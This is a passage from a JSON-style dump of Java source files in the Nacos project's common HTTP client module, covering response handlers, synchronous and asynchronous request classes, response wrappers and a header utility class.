    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.handler;\n\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\n\nimport java.lang.reflect.Type;\n\n/**\n * Response Handler abstract interface,\n * the actual processing of the response conversion is done by a concrete implementation class.\n *\n * @author mai.jh\n */\npublic interface ResponseHandler<T> {\n    \n    /**\n     * set response type.\n     *\n     * @param responseType responseType\n     */\n    void setResponseType(Type responseType);\n    \n    /**\n     * handle response convert to HttpRestResult.\n     *\n     * @param response http response\n     * @return HttpRestResult {@link HttpRestResult}\n     * @throws Exception ex\n     */\n    HttpRestResult<T> handle(HttpClientResponse response) throws Exception;\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/handler/RestResultResponseHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.handler;\n\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.model.RestResult;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\n\nimport java.lang.reflect.Type;\n\n/**\n * RestResult response handler, Mainly converter response type as {@link RestResult} type.\n *\n * @author mai.jh\n */\npublic class RestResultResponseHandler<T> extends AbstractResponseHandler<T> {\n    \n    @Override\n    @SuppressWarnings(\"unchecked\")\n    public HttpRestResult<T> convertResult(HttpClientResponse response, Type responseType) throws Exception {\n        final Header headers = response.getHeaders();\n        T extractBody = JacksonUtils.toObj(response.getBody(), responseType);\n        HttpRestResult<T> httpRestResult = convert((RestResult<T>) extractBody);\n        httpRestResult.setHeader(headers);\n        return httpRestResult;\n    }\n    \n    private static <T> HttpRestResult<T> convert(RestResult<T> restResult) {\n        HttpRestResult<T> httpRestResult = new HttpRestResult<>();\n        httpRestResult.setCode(restResult.getCode());\n        httpRestResult.setData(restResult.getData());\n        httpRestResult.setMessage(restResult.getMessage());\n        return httpRestResult;\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/handler/StringResponseHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.handler;\n\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.utils.IoUtils;\n\nimport java.lang.reflect.Type;\n\n/**\n * string response handler, Mainly converter response type as string type.\n *\n * @author mai.jh\n */\npublic class StringResponseHandler extends AbstractResponseHandler<String> {\n    \n    @Override\n    public HttpRestResult<String> convertResult(HttpClientResponse response, Type responseType) throws Exception {\n        final Header headers = response.getHeaders();\n        String extractBody = IoUtils.toString(response.getBody(), headers.getCharset());\n        return new HttpRestResult<>(headers, response.getStatusCode(), extractBody, null);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/request/AsyncHttpClientRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.request;\n\nimport com.alibaba.nacos.common.http.Callback;\nimport com.alibaba.nacos.common.http.client.handler.ResponseHandler;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\n\nimport java.io.Closeable;\nimport java.net.URI;\n\n/**\n * Represents a client-side Async HTTP request. Created via an implementation execute.\n *\n * @author mai.jh\n */\npublic interface AsyncHttpClientRequest extends Closeable {\n    \n    \n    /**\n     * execute async http request.\n     *\n     * @param uri               http url\n     * @param httpMethod        http request method\n     * @param requestHttpEntity http request entity\n     * @param responseHandler   http response handler\n     * @param callback          http response callback\n     * @throws Exception ex\n     */\n    <T> void execute(URI uri, String httpMethod, RequestHttpEntity requestHttpEntity,\n            final ResponseHandler<T> responseHandler, final Callback<T> callback) throws Exception;\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/request/DefaultAsyncHttpClientRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.request;\n\nimport com.alibaba.nacos.common.http.Callback;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.handler.ResponseHandler;\nimport com.alibaba.nacos.common.http.client.response.DefaultClientHttpResponse;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport org.apache.hc.client5.http.async.methods.SimpleHttpRequest;\nimport org.apache.hc.client5.http.async.methods.SimpleHttpResponse;\nimport org.apache.hc.client5.http.classic.methods.HttpUriRequestBase;\nimport org.apache.hc.client5.http.config.RequestConfig;\nimport org.apache.hc.client5.http.impl.async.CloseableHttpAsyncClient;\nimport org.apache.hc.core5.concurrent.FutureCallback;\nimport org.apache.hc.core5.reactor.DefaultConnectingIOReactor;\nimport org.apache.hc.core5.reactor.IOReactorStatus;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.net.URI;\n\n/**\n * {@link AsyncHttpClientRequest} implementation that uses apache async http client to execute streaming requests.\n *\n * @author mai.jh\n */\npublic class DefaultAsyncHttpClientRequest implements AsyncHttpClientRequest {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(DefaultAsyncHttpClientRequest.class);\n    \n    private final CloseableHttpAsyncClient asyncClient;\n    \n    private final RequestConfig defaultConfig;\n    \n    public DefaultAsyncHttpClientRequest(CloseableHttpAsyncClient asyncClient, DefaultConnectingIOReactor ioReactor, RequestConfig defaultConfig) {\n        this.asyncClient = asyncClient;\n        this.defaultConfig = defaultConfig;\n        if (this.asyncClient.getStatus() != IOReactorStatus.ACTIVE) {\n            this.asyncClient.start();\n        }\n    }\n    \n    @Override\n    public <T> void execute(URI uri, String httpMethod, RequestHttpEntity requestHttpEntity,\n            final ResponseHandler<T> responseHandler, final Callback<T> callback) throws Exception {\n        HttpUriRequestBase httpRequestBase = DefaultHttpClientRequest.build(uri, httpMethod, requestHttpEntity, defaultConfig);\n        // IllegalStateException has been removed from ver.5.0, should catch it in DefaultConnectingIOReactor callback\n        FutureCallback<SimpleHttpResponse> futureCallback = new FutureCallback<SimpleHttpResponse>() {\n            @Override\n            public void completed(SimpleHttpResponse result) {\n                // SimpleHttpResponse doesn't need to close\n                DefaultClientHttpResponse response = new DefaultClientHttpResponse(result);\n                try {\n                    HttpRestResult<T> httpRestResult = responseHandler.handle(response);\n                    callback.onReceive(httpRestResult);\n                } catch (Exception e) {\n                    callback.onError(e);\n                }\n            }\n            \n            @Override\n            public void failed(Exception ex) {\n                callback.onError(ex);\n            }\n            \n            @Override\n            public void cancelled() {\n                callback.onCancel();\n            }\n        };\n        asyncClient.execute(SimpleHttpRequest.copy(httpRequestBase), futureCallback);\n    }\n    \n    @Override\n    public void close() throws IOException {\n        this.asyncClient.close();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/request/DefaultHttpClientRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.request;\n\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.BaseHttpMethod;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.HttpUtils;\nimport com.alibaba.nacos.common.http.client.response.DefaultClientHttpResponse;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport org.apache.hc.client5.http.async.methods.SimpleHttpResponse;\nimport org.apache.hc.client5.http.classic.methods.HttpUriRequestBase;\nimport org.apache.hc.client5.http.config.RequestConfig;\nimport org.apache.hc.client5.http.impl.classic.CloseableHttpClient;\nimport org.apache.hc.core5.http.ContentType;\nimport org.apache.hc.core5.util.Timeout;\n\nimport java.io.IOException;\nimport java.net.URI;\nimport java.util.Map;\n\n/**\n * {@link HttpClientRequest} implementation that uses apache http client to execute streaming requests.\n *\n * @author mai.jh\n */\n@SuppressWarnings({\"unchecked\", \"resource\"})\npublic class DefaultHttpClientRequest implements HttpClientRequest {\n    \n    private final CloseableHttpClient client;\n    \n    private final RequestConfig defaultConfig;\n    \n    public DefaultHttpClientRequest(CloseableHttpClient client, RequestConfig defaultConfig) {\n        this.client = client;\n        this.defaultConfig = defaultConfig;\n    }\n    \n    @Override\n    public HttpClientResponse execute(URI uri, String httpMethod, RequestHttpEntity requestHttpEntity)\n            throws Exception {\n        HttpUriRequestBase request = build(uri, httpMethod, requestHttpEntity, defaultConfig);\n        // copy http response to simple type\n        SimpleHttpResponse response = client.execute(request, httpResponse -> {\n            SimpleHttpResponse simpleHttpResponse = SimpleHttpResponse.copy(httpResponse);\n            ContentType contentType = ContentType.parse(httpResponse.getEntity().getContentType());\n            String body = IoUtils.toString(httpResponse.getEntity().getContent(), null);\n            simpleHttpResponse.setBody(body, contentType);\n            return simpleHttpResponse;\n        });\n        return new DefaultClientHttpResponse(response);\n    }\n    \n    static HttpUriRequestBase build(URI uri, String method, RequestHttpEntity requestHttpEntity,\n            RequestConfig defaultConfig) throws Exception {\n        final Header headers = requestHttpEntity.getHeaders();\n        final BaseHttpMethod httpMethod = BaseHttpMethod.sourceOf(method);\n        final HttpUriRequestBase httpRequestBase = httpMethod.init(uri.toString());\n        \n        HttpUtils.initRequestHeader(httpRequestBase, headers);\n        if (MediaType.APPLICATION_FORM_URLENCODED.equals(headers.getValue(HttpHeaderConsts.CONTENT_TYPE))\n                && requestHttpEntity.getBody() instanceof Map) {\n            HttpUtils.initRequestFromEntity(httpRequestBase, (Map<String, String>) requestHttpEntity.getBody(),\n                    headers.getCharset());\n        } else {\n            HttpUtils.initRequestEntity(httpRequestBase, requestHttpEntity.getBody(), headers);\n        }\n        \n        mergeDefaultConfig(httpRequestBase, requestHttpEntity.getHttpClientConfig(), defaultConfig);\n        return httpRequestBase;\n    }\n    \n    /**\n     * Merge the HTTP config created by default with the HTTP config specified in the request.\n     *\n     * @param requestBase      requestBase\n     * @param httpClientConfig http config\n     */\n    private static void mergeDefaultConfig(HttpUriRequestBase requestBase, HttpClientConfig httpClientConfig,\n            RequestConfig defaultConfig) {\n        if (httpClientConfig == null) {\n            return;\n        }\n        requestBase.setConfig(RequestConfig.copy(defaultConfig)\n                .setConnectionRequestTimeout(Timeout.ofMilliseconds(httpClientConfig.getConTimeOutMillis()))\n                .setResponseTimeout(Timeout.ofMilliseconds(httpClientConfig.getReadTimeOutMillis())).build());\n    }\n    \n    @Override\n    public void close() throws IOException {\n        client.close();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/request/HttpClientRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.request;\n\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\n\nimport java.io.Closeable;\nimport java.net.URI;\n\n/**\n * Represents a client-side HTTP request. Created via an implementation execute.\n *\n * @author mai.jh\n */\npublic interface HttpClientRequest extends Closeable {\n    \n    /**\n     * execute http request.\n     *\n     * @param uri               http url\n     * @param httpMethod        http request method\n     * @param requestHttpEntity http request entity\n     * @return HttpClientResponse\n     * @throws Exception ex\n     */\n    HttpClientResponse execute(URI uri, String httpMethod, RequestHttpEntity requestHttpEntity) throws Exception;\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/request/JdkHttpClientRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.request;\n\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.HttpUtils;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.client.response.JdkHttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.HttpsURLConnection;\nimport javax.net.ssl.SSLContext;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.net.HttpURLConnection;\nimport java.net.URI;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.Files;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * JDK http client request implement.\n *\n * @author mai.jh\n */\npublic class JdkHttpClientRequest implements HttpClientRequest {\n    \n    private static final String CONTENT_LENGTH = \"Content-Length\";\n    \n    private static final String BOUNDARY_PREFIX = \"----WebKitFormBoundary\";\n    \n    private static final String LINE_FEED = \"\\r\\n\";\n    \n    private HttpClientConfig httpClientConfig;\n    \n    public JdkHttpClientRequest(HttpClientConfig httpClientConfig) {\n        this.httpClientConfig = httpClientConfig;\n    }\n    \n    /**\n     * Use specified {@link SSLContext}.\n     *\n     * @param sslContext ssl context\n     */\n    @SuppressWarnings(\"checkstyle:abbreviationaswordinname\")\n    public void setSslContext(SSLContext sslContext) {\n        if (sslContext != null) {\n            HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());\n        }\n    }\n    \n    /**\n     * Replace the default HostnameVerifier.\n     *\n     * @param hostnameVerifier custom hostnameVerifier\n     */\n    @SuppressWarnings(\"checkstyle:abbreviationaswordinname\")\n    public void replaceSslHostnameVerifier(HostnameVerifier hostnameVerifier) {\n        if (hostnameVerifier != null) {\n            HttpsURLConnection.setDefaultHostnameVerifier(hostnameVerifier);\n        }\n    }\n    \n    @Override\n    public HttpClientResponse execute(URI uri, String httpMethod, RequestHttpEntity requestHttpEntity)\n            throws Exception {\n        final Object body = requestHttpEntity.getBody();\n        final Header headers = requestHttpEntity.getHeaders();\n        replaceDefaultConfig(requestHttpEntity.getHttpClientConfig());\n        \n        HttpURLConnection conn = (HttpURLConnection) uri.toURL().openConnection();\n        Map<String, String> headerMap = headers.getHeader();\n        if (headerMap != null && headerMap.size() > 0) {\n            for (Map.Entry<String, String> entry : headerMap.entrySet()) {\n                conn.setRequestProperty(entry.getKey(), entry.getValue());\n            }\n        }\n        \n        conn.setConnectTimeout(this.httpClientConfig.getConTimeOutMillis());\n        conn.setReadTimeout(this.httpClientConfig.getReadTimeOutMillis());\n        conn.setRequestMethod(httpMethod);\n        if (body != null && !\"\".equals(body)) {\n            if (body instanceof File) {\n                handleFileUpload(conn, (File) body);\n            }\n            String contentType = headers.getValue(HttpHeaderConsts.CONTENT_TYPE);\n            String bodyStr = body instanceof String ? (String) body : JacksonUtils.toJson(body);\n            if (MediaType.APPLICATION_FORM_URLENCODED.equals(contentType)) {\n                Map<String, String> map = JacksonUtils.toObj(bodyStr, HashMap.class);\n                bodyStr = HttpUtils.encodingParams(map, headers.getCharset());\n            }\n            if (bodyStr != null) {\n                conn.setDoOutput(true);\n                byte[] b = bodyStr.getBytes(StandardCharsets.UTF_8);\n                conn.setRequestProperty(CONTENT_LENGTH, String.valueOf(b.length));\n                OutputStream outputStream = conn.getOutputStream();\n                outputStream.write(b, 0, b.length);\n                outputStream.flush();\n                IoUtils.closeQuietly(outputStream);\n            }\n        }\n        conn.connect();\n        return new JdkHttpClientResponse(conn);\n    }\n    \n    private void handleFileUpload(HttpURLConnection conn, File file) throws IOException {\n        String boundary = BOUNDARY_PREFIX + System.currentTimeMillis();\n        conn.setRequestProperty(\"Content-Type\", \"multipart/form-data; boundary=\" + boundary);\n        \n        StringBuilder sb = new StringBuilder();\n        sb.append(\"--\").append(boundary).append(LINE_FEED);\n        sb.append(\"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\").append(file.getName()).append(\"\\\"\")\n                .append(LINE_FEED);\n        sb.append(\"Content-Type: \").append(Files.probeContentType(file.toPath())).append(LINE_FEED).append(LINE_FEED);\n        \n        byte[] fileBytes = Files.readAllBytes(file.toPath());\n        byte[] boundaryBytes = (LINE_FEED + \"--\" + boundary + \"--\" + LINE_FEED).getBytes(StandardCharsets.UTF_8);\n        \n        conn.setDoOutput(true);\n        try (OutputStream outputStream = conn.getOutputStream()) {\n            outputStream.write(sb.toString().getBytes(StandardCharsets.UTF_8));\n            outputStream.write(fileBytes);\n            outputStream.write(boundaryBytes);\n            outputStream.flush();\n        }\n    }\n    \n    /**\n     * Replace the HTTP config created by default with the HTTP config specified in the request.\n     *\n     * @param replaceConfig http config\n     */\n    private void replaceDefaultConfig(HttpClientConfig replaceConfig) {\n        if (replaceConfig == null) {\n            return;\n        }\n        this.httpClientConfig = replaceConfig;\n    }\n    \n    @Override\n    public void close() throws IOException {\n    \n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/response/DefaultClientHttpResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.response;\n\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport org.apache.hc.client5.http.async.methods.SimpleHttpResponse;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.InputStream;\n\n/**\n * ApacheClientHttpResponse implementation {@link HttpClientResponse}.\n *\n * @author mai.jh\n */\npublic class DefaultClientHttpResponse implements HttpClientResponse {\n    \n    private SimpleHttpResponse response;\n    \n    private InputStream responseStream;\n    \n    private Header responseHeader;\n    \n    public DefaultClientHttpResponse(SimpleHttpResponse response) {\n        this.response = response;\n    }\n    \n    @Override\n    public int getStatusCode() {\n        return this.response.getCode();\n    }\n    \n    @Override\n    public String getStatusText() {\n        return this.response.getReasonPhrase();\n    }\n    \n    @Override\n    public Header getHeaders() {\n        if (this.responseHeader == null) {\n            this.responseHeader = Header.newInstance();\n            org.apache.hc.core5.http.Header[] allHeaders = response.getHeaders();\n            for (org.apache.hc.core5.http.Header header : allHeaders) {\n                this.responseHeader.addParam(header.getName(), header.getValue());\n            }\n        }\n        return this.responseHeader;\n    }\n    \n    @Override\n    public InputStream getBody() {\n        byte[] bodyBytes = response.getBody().getBodyBytes();\n        if (bodyBytes != null) {\n            this.responseStream = new ByteArrayInputStream(bodyBytes);\n        } else {\n            this.responseStream = new ByteArrayInputStream(new byte[0]);\n        }\n        return this.responseStream;\n    }\n    \n    @Override\n    public void close() {\n        IoUtils.closeQuietly(this.responseStream);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/response/HttpClientResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.response;\n\nimport com.alibaba.nacos.common.http.param.Header;\nimport org.apache.hc.client5.http.async.methods.SimpleHttpResponse;\n\nimport java.io.Closeable;\nimport java.io.IOException;\nimport java.io.InputStream;\n\n/**\n * Represents a client-side HTTP response.\n * In new version of Apache Http Components, {@code HttpResponse} has been replaced by {@link SimpleHttpResponse}.\n * Cause in this class body content no longer be {@link InputStream} anymore, we don't need to close it anymore.\n *\n * @author mai.jh\n */\npublic interface HttpClientResponse extends Closeable {\n    \n    /**\n     * Return the headers of this message.\n     *\n     * @return a corresponding HttpHeaders object (never {@code null})\n     */\n    Header getHeaders();\n    \n    /**\n     * Return the body of the message as an input stream.\n     *\n     * @return String response body\n     * @throws IOException IOException\n     */\n    InputStream getBody() throws IOException;\n    \n    /**\n     * Return the HTTP status code.\n     *\n     * @return the HTTP status as an integer\n     * @throws IOException IOException\n     */\n    int getStatusCode() throws IOException;\n    \n    /**\n     * Return the HTTP status text of the response.\n     *\n     * @return the HTTP status text\n     * @throws IOException IOException\n     */\n    String getStatusText() throws IOException;\n    \n    /**\n     * close response InputStream.\n     */\n    @Override\n    void close();\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/client/response/JdkHttpClientResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.response;\n\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.utils.IoUtils;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.HttpURLConnection;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * JDk http client response implement.\n *\n * @author mai.jh\n */\npublic class JdkHttpClientResponse implements HttpClientResponse {\n    \n    private final HttpURLConnection conn;\n    \n    private InputStream responseStream;\n    \n    private Header responseHeader;\n    \n    private static final String CONTENT_ENCODING = \"gzip\";\n    \n    public JdkHttpClientResponse(HttpURLConnection conn) {\n        this.conn = conn;\n    }\n    \n    @Override\n    public Header getHeaders() {\n        if (this.responseHeader == null) {\n            this.responseHeader = Header.newInstance();\n        }\n        for (Map.Entry<String, List<String>> entry : conn.getHeaderFields().entrySet()) {\n            this.responseHeader.addOriginalResponseHeader(entry.getKey(), entry.getValue());\n        }\n        return this.responseHeader;\n    }\n    \n    @Override\n    public InputStream getBody() throws IOException {\n        Header headers = getHeaders();\n        InputStream errorStream = this.conn.getErrorStream();\n        this.responseStream = (errorStream != null ? errorStream : this.conn.getInputStream());\n        String contentEncoding = headers.getValue(HttpHeaderConsts.CONTENT_ENCODING);\n        // Used to process http content_encoding, when content_encoding is GZIP, use GZIPInputStream\n        if (CONTENT_ENCODING.equals(contentEncoding)) {\n            byte[] bytes = IoUtils.tryDecompress(this.responseStream);\n            return new ByteArrayInputStream(bytes);\n        }\n        return this.responseStream;\n    }\n    \n    @Override\n    public int getStatusCode() throws IOException {\n        return this.conn.getResponseCode();\n    }\n    \n    @Override\n    public String getStatusText() throws IOException {\n        return this.conn.getResponseMessage();\n    }\n    \n    @Override\n    public void close() {\n        IoUtils.closeQuietly(this.responseStream);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/http/param/Header.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.param;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.utils.MapUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.TreeMap;\n\n/**\n * Http header.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class Header {\n    \n    public static final Header EMPTY = Header.newInstance();\n    \n    private final Map<String, String> header;\n    \n    private final Map<String, List<String>> originalResponseHeader;\n    \n    private static final String DEFAULT_CHARSET = \"UTF-8\";\n    \n    private Header() {\n        header = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);\n        originalResponseHeader = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);\n        addParam(HttpHeaderConsts.CONTENT_TYPE, MediaType.APPLICATION_JSON);\n        addParam(HttpHeaderConsts.ACCEPT_CHARSET, DEFAULT_CHARSET);\n    }\n    \n    public static Header newInstance() {\n        return new Header();\n    }\n    \n    /**\n     * Add the key and value to the header.\n     *\n     * @param key   the key\n     * @param value the value\n     * @return header\n     */\n    public Header addParam(String key, String value) {\n        if (StringUtils.isNotEmpty(key)) {\n            header.put(key, value);\n        }\n        return this;\n    }\n    \n    public Header setContentType(String contentType) {\n        if (contentType == null) {\n            contentType = MediaType.APPLICATION_JSON;\n        }\n        return addParam(HttpHeaderConsts.CONTENT_TYPE, contentType);\n    }\n    \n    public String getValue(String key) {\n        return header.get(key);\n    }\n    \n    public Map<String, String> getHeader() {\n        return header;\n    }\n    \n    public Iterator<Map.Entry<String, String>> iterator() {\n        return header.entrySet().iterator();\n    }\n    \n    /**\n     * Transfer to KV part list. The odd index is key and the even index is value.\n     *\n     * @return KV string list\n     */\n    public List<String> toList() {\n        List<String> list = new ArrayList<>(header.size() * 2);\n        Iterator<Map.Entry<String, String>> iterator = iterator();\n        while (iterator.hasNext()) {\n            Map.Entry<String, String> entry 